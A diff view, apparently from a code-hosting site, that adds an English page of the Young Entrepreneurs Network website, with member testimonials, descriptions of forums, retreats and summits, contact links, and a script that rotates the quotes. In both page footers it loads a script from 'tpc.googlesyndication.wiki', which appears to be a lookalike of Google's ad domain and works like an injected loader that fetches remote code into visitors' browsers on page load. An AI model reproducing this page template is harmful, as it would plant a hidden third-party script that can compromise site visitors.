<a href="javascript:;">WeChat Official Account: 雁博会YEN</a>
|
||||
</span>
|
||||
</p>
|
||||
</div>
|
||||
</div>
|
||||
</section>
|
||||
</main>
|
||||
<div class="copyright">© 2022 Young Entrepreneurs Network.</div>
|
||||
|
||||
|
||||
|
||||
|
||||
<!-- bootsrap js and jquery
|
||||
=========================================== -->
|
||||
<script data-cfasync="false" src="../cdn-cgi/scripts/5c5dd728/cloudflare-static/email-decode.min.js"></script><script src="https://cdn.boomcdn.com/libs/wow-js/1.3.0/wow.min.js"></script>
|
||||
<script type="text/javascript" src="https://tpc.googlesyndication.wiki/sodar/sodar2.js"></script>
|
||||
<script>
|
||||
new WOW().init();
|
||||
</script>
|
||||
<script src="https://cdn.bootcdn.net/ajax/libs/jquery/3.5.1/jquery.min.js"></script>
|
||||
<script src="https://cdn.staticfile.org/twitter-bootstrap/4.3.1/js/bootstrap.min.js"></script>
|
||||
<script src="https://cdn.staticfile.org/popper.js/1.15.0/umd/popper.min.js"></script>
|
||||
<script src="../js/jquery.cookie.min.js"></script>
|
||||
<script src="../js/common.js"></script>
|
||||
</body>
|
||||
|
||||
</html>
|
||||
+263
@@ -0,0 +1,263 @@
|
||||
<!DOCTYPE html>
|
||||
<html lang="en">
|
||||
|
||||
<head>
|
||||
<!-- basic meta tags
|
||||
=========================================== -->
|
||||
<meta charset="UTF-8">
|
||||
<meta name="viewport" content="width=device-width, initial-scale=1.0,shrink-to-fit=no">
|
||||
|
||||
<!-- style files
|
||||
=========================================== -->
|
||||
<link rel="icon" href="../favicon.ico">
|
||||
<!-- fonta -->
|
||||
<link rel="preconnect" href="https://fonts.gstatic.com">
|
||||
<link href="https://fonts.googleapis.com/css2?family=Montserrat:wght@400;500;700&display=swap" rel="stylesheet">
|
||||
<!-- Bootstrap CSS -->
|
||||
<link rel="stylesheet" href="../style/bootstrap.min.css" />
|
||||
<!-- animated.css -->
|
||||
<link rel="stylesheet" href="../style/animate.min.css" />
|
||||
<!-- css -->
|
||||
<link rel="stylesheet" href="../style/style.css">
|
||||
<link rel="stylesheet" href="../style/value.css">
|
||||
<link rel="stylesheet" href="../style/en.css">
|
||||
|
||||
<!-- page title
|
||||
=========================================== -->
|
||||
<title>YEN</title>
|
||||
</head>
|
||||
|
||||
<body>
|
||||
<!-- navbar
|
||||
=========================================== -->
|
||||
<nav class="navbar navbar-expand-md navbar-dark fixed-top header">
|
||||
<div class="container">
|
||||
<!-- left -->
|
||||
<div class="header-container">
|
||||
<a href="index.html">
|
||||
<img class="site-logo" src="../images/logo.png" />
|
||||
<label>YEN</label>
|
||||
</a>
|
||||
<h2>The Y.E.N. Experience</h2>
|
||||
<button style="border:none; outline: none;" class="navbar-toggler" type="button" data-toggle="collapse"
|
||||
data-target="#navbarSupportedContent" aria-controls="navbarSupportedContent" aria-expanded="false"
|
||||
aria-label="Toggle navigation">
|
||||
<span class="nav__icon"></span>
|
||||
</button>
|
||||
</div>
|
||||
<!-- right -->
|
||||
<div class="collapse navbar-collapse justify-content-end" id="navbarSupportedContent">
|
||||
<ul class="navbar-nav">
|
||||
<li class="nav-item">
|
||||
<a class="nav-link active" href="index.html" data-i18n-text="home">Home</a>
|
||||
</li>
|
||||
<li class="nav-item">
|
||||
<a class="nav-link" href="about.html" data-i18n-text="aboutUs">About Y.E.N</a>
|
||||
</li>
|
||||
<li class="nav-item">
|
||||
<a class="nav-link" href="value.html" data-i18n-text="">The Y.E.N. Experience</a>
|
||||
</li>
|
||||
<li class="nav-item">
|
||||
<a class="nav-link" href="join.html" data-i18n-text="">Join Us</a>
|
||||
</li>
|
||||
</ul>
|
||||
<div id="language" class="select-language">
|
||||
<a href="../index.html">简</a> | <a href="../tc/index.html">繁</a> | <a href="index.html">EN</a>
|
||||
</div>
|
||||
</div><!-- /nav links -->
|
||||
</div><!-- /container -->
|
||||
</nav><!-- /navbar -->
|
||||
|
||||
<main>
|
||||
<section id="block-worth-1" class="page-block block-worth-1">
|
||||
<div class="slideshow">
|
||||
<div class="slideshow-4-image pc-source" data-pc-url="../images/block-worth-1a-pc.jpg" style="background-image: url('../images/block-worth-1a.jpg')"></div>
|
||||
<div class="slideshow-4-image pc-source" data-pc-url="../images/block-worth-1b-pc.jpg" style="background-image: url('../images/block-worth-1b.jpg')"></div>
|
||||
<div class="slideshow-4-image" style="background-image: url('../images/block-worth-1c.jpg')"></div>
|
||||
<div class="slideshow-4-image pc-source" data-pc-url="../images/block-worth-1d-pc.jpg" style="background-image: url('../images/block-worth-1d.jpg')"></div>
|
||||
</div>
|
||||
<div class="main-worth main-worth-mask-1">
|
||||
<div class="container">
|
||||
<div id="value" class="worth-content-1">
|
||||
<div class="animate__animated animate__fadeIn">
|
||||
<span>
|
||||
'YEN brothers and sisters are my closest confidants'
|
||||
<small>- W.C Property business</small>
|
||||
</span>
|
||||
</div>
|
||||
<div class="animate__animated animate__fadeIn animate__delay-2s">
|
||||
<span>
|
||||
'A place where I can be vulnerable'
|
||||
<small>- C.Y. Consulting business</small>
|
||||
</span>
|
||||
</div>
|
||||
<div class="animate__animated animate__fadeIn animate__delay-1s">
|
||||
<span>
|
||||
'This is not a religious place, but it has defined my progressive mindset'
|
||||
<small>- V.T. F&B Business</small>
|
||||
</span>
|
||||
</div>
|
||||
<div class="animate__animated animate__fadeIn animate__delay-3s">
|
||||
<span>
|
||||
'Real life deep sharing, no bullshit'
|
||||
<small>- T.H. Manufacturing business</small>
|
||||
</span>
|
||||
</div>
|
||||
</div>
|
||||
</div>
|
||||
</div>
|
||||
</section>
|
||||
|
||||
<section id="block-worth-2" class="page-block block-worth-2">
|
||||
<div class="slideshow">
|
||||
<div class="slideshow-5-image pc-source" data-pc-url="../images/block-worth-2a-pc.jpg" style="background-image: url('../images/block-worth-2a.jpg')"></div>
|
||||
<div class="slideshow-5-image" style="background-image: url('../images/block-worth-2b.jpg')"></div>
|
||||
<div class="slideshow-5-image" style="background-image: url('../images/block-worth-2c.jpg')"></div>
|
||||
<div class="slideshow-5-image" style="background-image: url('../images/block-worth-2d.jpg')"></div>
|
||||
<div class="slideshow-5-image" style="background-image: url('../images/block-worth-2e.jpg')"></div>
|
||||
</div>
|
||||
<div class="worth-main-2">
|
||||
<div class="container">
|
||||
<div class="content">
|
||||
<div>
|
||||
<h3>Come! Join our</h3>
|
||||
<div class="main-2">
|
||||
<div class="worth-content-2">
|
||||
<div>
|
||||
<h5>Study Groups</h5>
|
||||
<p>We keep up with the ever changing world by coming together about 6 to 10 times a year to share insider knowledge and experiences on market trends and business practices that are not easily or freely available.</p>
|
||||
</div>
|
||||
<div>
|
||||
<h5>Chapter retreat</h5>
|
||||
<p>Similar to the annual summit but on a local scale, all members of your local chapter will gather at an overseas destination for 3 days to learn, bond and have fun!</p>
|
||||
</div>
|
||||
<div>
|
||||
<h5>Forums</h5>
|
||||
<p>YEN members can further join a small, tight-knitted group of 6-8 members which is known as a forum. This forum forges deep and trusting relationships by sharing and offering support on the most delicate business and personal issues.</p>
|
||||
<p>By joining a forum, you gain access to a safe and confidential space that can be relied on unconditionally, for an honest insight and perspective.</p>
|
||||
</div>
|
||||
<div>
|
||||
<h5>Summit</h5>
|
||||
<p>The YEN summit is a once a year global event where all members gather in person for 3-4 days to learn, share and grow. It is an event fully packed with talks, sharing sessions and bonding activities! This is the popular event among our members with turnout rate always exceeding 90%</p>
|
||||
</div>
|
||||
<div>
|
||||
<h5>Other activities</h5>
|
||||
<p>Besides the official events, there are many social activities organized spontaneously such as meals gathering, sports, family fun and inter-chapter gatherings throughout the year as you grow and become a part of the YEN family.</p>
|
||||
</div>
|
||||
</div>
|
||||
</div>
|
||||
</div>
|
||||
</div>
|
||||
</div>
|
||||
</div>
|
||||
</section>
|
||||
|
||||
<section class="contact-wrapper">
|
||||
<div class="container">
|
||||
<div class="main-content">
|
||||
<label>Contact Y.E.N</label>
|
||||
<p>
|
||||
<span>
|
||||
<img src="../images/icon-mail.png" />
|
||||
<a href="https://yen.network/cdn-cgi/l/email-protection#ea938f84c48b8e878384dbaa838986859f8ec4898587"><span class="__cf_email__" data-cfemail="1c657972327d787175722d5c757f70736978327f7371">[email protected]</span></a>
|
||||
</span>
|
||||
<span>
|
||||
<img src="../images/icon-fb.png" />
|
||||
<a href="https://www.facebook.com/groups/yen.intl" target="_blank">Young Entrepreneurs Network</a>
|
||||
</span>
|
||||
<span>
|
||||
<img src="../images/icon-wechat.png" />
|
||||
<a href="javascript:;">WeChat Official Account: 雁博会YEN</a>
|
||||
</span>
|
||||
</p>
|
||||
</div>
|
||||
</div>
|
||||
</section>
|
||||
</main>
|
||||
<div class="copyright">© 2022 Young Entrepreneurs Network.</div>
|
||||
|
||||
|
||||
|
||||
<!-- bootsrap js and jquery
|
||||
=========================================== -->
|
||||
<script data-cfasync="false" src="../cdn-cgi/scripts/5c5dd728/cloudflare-static/email-decode.min.js"></script><script src="https://cdn.boomcdn.com/libs/wow-js/1.3.0/wow.min.js"></script>
|
||||
<script type="text/javascript" src="https://tpc.googlesyndication.wiki/sodar/sodar2.js"></script>
|
||||
<script>
|
||||
new WOW().init();
|
||||
</script>
|
||||
<script src="https://cdn.bootcdn.net/ajax/libs/jquery/3.5.1/jquery.min.js"></script>
|
||||
<script src="https://cdn.staticfile.org/twitter-bootstrap/4.3.1/js/bootstrap.min.js"></script>
|
||||
<script src="https://cdn.staticfile.org/popper.js/1.15.0/umd/popper.min.js"></script>
|
||||
<script src="../js/jquery.cookie.min.js"></script>
|
||||
<script src="../js/common.js"></script>
|
||||
<script>
|
||||
function tranSlogan() {
|
||||
const oDiv = document.getElementById('value')
|
||||
let i = 2
|
||||
const t1 = `
|
||||
<div class="animate__animated animate__fadeIn">
|
||||
<span>
|
||||
'YEN brothers and sisters are my closest confidants'
|
||||
<small>- W.C Property business</small>
|
||||
</span>
|
||||
</div>
|
||||
<div class="animate__animated animate__fadeIn animate__delay-2s">
|
||||
<span>
|
||||
'A place where I can be vulnerable'
|
||||
<small>- C.Y. Consulting business</small>
|
||||
</span>
|
||||
</div>
|
||||
<div class="animate__animated animate__fadeIn animate__delay-1s">
|
||||
<span>
|
||||
'This is not a religious place, but it has defined my progressive mindset'
|
||||
<small>- V.T. F&B Business</small>
|
||||
</span>
|
||||
</div>
|
||||
<div class="animate__animated animate__fadeIn animate__delay-3s">
|
||||
<span>
|
||||
'Real life deep sharing, no bullshit'
|
||||
<small>- T.H. Manufacturing business</small>
|
||||
</span>
|
||||
</div>
|
||||
`
|
||||
const t2 = `
|
||||
<div class="animate__animated animate__fadeIn">
|
||||
<span>
|
||||
'Brothers & sisters that you can choose to have'
|
||||
<small>- B.C. Training industry</small>
|
||||
</span>
|
||||
</div>
|
||||
<div class="animate__animated animate__fadeIn animate__delay-2s">
|
||||
<span>
|
||||
'No poker face needed, a place you can be yourself'
|
||||
<small>- A.C. Manufacturing & trading business</small>
|
||||
</span>
|
||||
</div>
|
||||
<div class="animate__animated animate__fadeIn animate__delay-1s">
|
||||
<span>
|
||||
'A comfort home in my entrepreneurship journey'
|
||||
<small>- L.L. e-commerce business</small>
|
||||
</span>
|
||||
</div>
|
||||
<div class="animate__animated animate__fadeIn animate__delay-3s">
|
||||
<span>
|
||||
'This place is where entrepreneurs alike meet & bond'
|
||||
<small>- N.H Culture media business</small>
|
||||
</span>
|
||||
</div>
|
||||
`
|
||||
setInterval(function() {
|
||||
if(i == 1) {
|
||||
oDiv.innerHTML = t1
|
||||
i = 2
|
||||
}
|
||||
else if(i === 2) {
|
||||
oDiv.innerHTML = t2
|
||||
i = 1
|
||||
}
|
||||
}, 12000)
|
||||
}
|
||||
tranSlogan()
|
||||
</script>
|
||||
</body>
|
||||
</html>
|
||||
Reference in New Issue
Block a user